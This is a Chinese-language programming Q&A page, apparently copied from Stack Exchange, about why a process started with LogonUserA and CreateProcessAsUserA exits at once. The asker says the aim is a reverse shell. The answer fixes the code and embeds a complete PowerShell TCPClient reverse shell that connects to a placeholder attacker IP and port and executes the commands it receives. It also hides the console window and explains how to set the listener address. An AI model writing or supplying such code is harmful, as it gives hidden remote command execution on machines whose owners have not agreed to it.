使用LogonUserA和CreateProcessAsUserA创建进程时程序立即退出的问题
CreateProcessAsUserA 创建cmd.exe后立即退出的问题排查与修复
我使用CreateProcess()时可正常运行,但改用CreateProcessAsUserA以获取管理员权限创建cmd.exe进程时,控制台加载后立即退出。我需要将此功能集成到反向Shell中,请问代码存在什么问题?
用户提供的代码:
LPCSTR lpszUsername = "admin user"; LPCSTR lpszDomain = "DESKTOP-H60GO83"; LPCSTR lpszPassword = "password"; DWORD dwLogonType = LOGON32_LOGON_INTERACTIVE; DWORD dwLogonProvider = LOGON32_PROVIDER_WINNT40; PHANDLE hToken; LogonUserA( lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, hToken); memset(&sui, 0, sizeof(sui)); sui.cb = sizeof(sui); LPTSTR lpApplicationName = "C:\\Windows\\System32\\cmd.exe "; CreateProcessAsUserA( hToken, lpApplicationName, NULL, NULL, NULL, TRUE, NULL, NULL, NULL, &sui, &pi );
代码存在的核心问题
令牌指针未初始化且未检查登录结果:
原代码中PHANDLE hToken是未初始化的野指针,直接传给LogonUserA会导致内存访问错误。正确做法是定义HANDLE hToken = NULL;,再传入&hToken。同时必须检查LogonUserA的返回值,确认令牌获取成功,否则后续创建进程必然失败。CreateProcessAsUserA参数错误:
lpApplicationName末尾多了空格:"C:\\Windows\\System32\\cmd.exe "中的空格会导致系统无法匹配到正确的可执行文件,必须删除末尾空格。- 第6个参数
dwCreationFlags传了TRUE:该参数是DWORD类型,TRUE对应的数值1是CREATE_NEW_CONSOLE标志,但反向Shell场景通常需要CREATE_NO_WINDOW隐藏控制台;即使保留控制台,也应显式传入对应宏,避免类型混淆。 - 未声明
sui和pi变量:代码中使用了STARTUPINFO sui和PROCESS_INFORMATION pi但未提前定义,编译会直接报错。
未适配反向Shell的进程启动逻辑:
直接启动cmd.exe会因无交互任务自动退出,反向Shell需要通过命令行参数传递具体的反向连接指令,让cmd.exe执行后保持连接状态。
修复后的代码
#include <windows.h> #include <stdio.h> int main() { LPCSTR lpszUsername = "admin user"; LPCSTR lpszDomain = "DESKTOP-H60GO83"; LPCSTR lpszPassword = "password"; DWORD dwLogonType = LOGON32_LOGON_INTERACTIVE; DWORD dwLogonProvider = LOGON32_PROVIDER_DEFAULT; // 优先使用默认提供者 HANDLE hToken = NULL; // 检查登录令牌获取是否成功 if (!LogonUserA( lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, &hToken)) { printf("LogonUserA失败,错误码: %d\n", GetLastError()); return 1; } STARTUPINFO sui; PROCESS_INFORMATION pi; memset(&sui, 0, sizeof(sui)); sui.cb = sizeof(sui); // 正确的cmd路径,无多余空格 LPCSTR lpApplicationName = "C:\\Windows\\System32\\cmd.exe"; // 替换为你的反向Shell指令,比如powershell反向连接命令 LPCSTR lpCommandLine = "cmd.exe /c powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('你的IP', 端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$x = ($error[0] | Out-String);if($x){$sendback2 = $x + 'PS ' + (pwd).Path + '> '};$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""; // 创建进程并检查结果 if (!CreateProcessAsUserA( hToken, lpApplicationName, (LPSTR)lpCommandLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, // 反向Shell隐藏控制台 NULL, NULL, &sui, &pi)) { printf("CreateProcessAsUserA失败,错误码: %d\n", GetLastError()); CloseHandle(hToken); return 1; } // 关闭不再需要的句柄 CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hToken); return 0; }
额外说明
- 确保调用进程拥有
SE_TCB_NAME权限,或当前用户具备登录目标管理员账户的权限,否则LogonUserA会调用失败。 - 所有API调用后必须检查返回值,通过
GetLastError()获取错误码,快速定位问题。 - 反向Shell指令需根据实际需求调整IP和端口,确保目标机器能连接到你的监听端。
内容的提问来源于stack exchange,提问作者Marsha4Coding
相关产品推荐
相关产品推荐

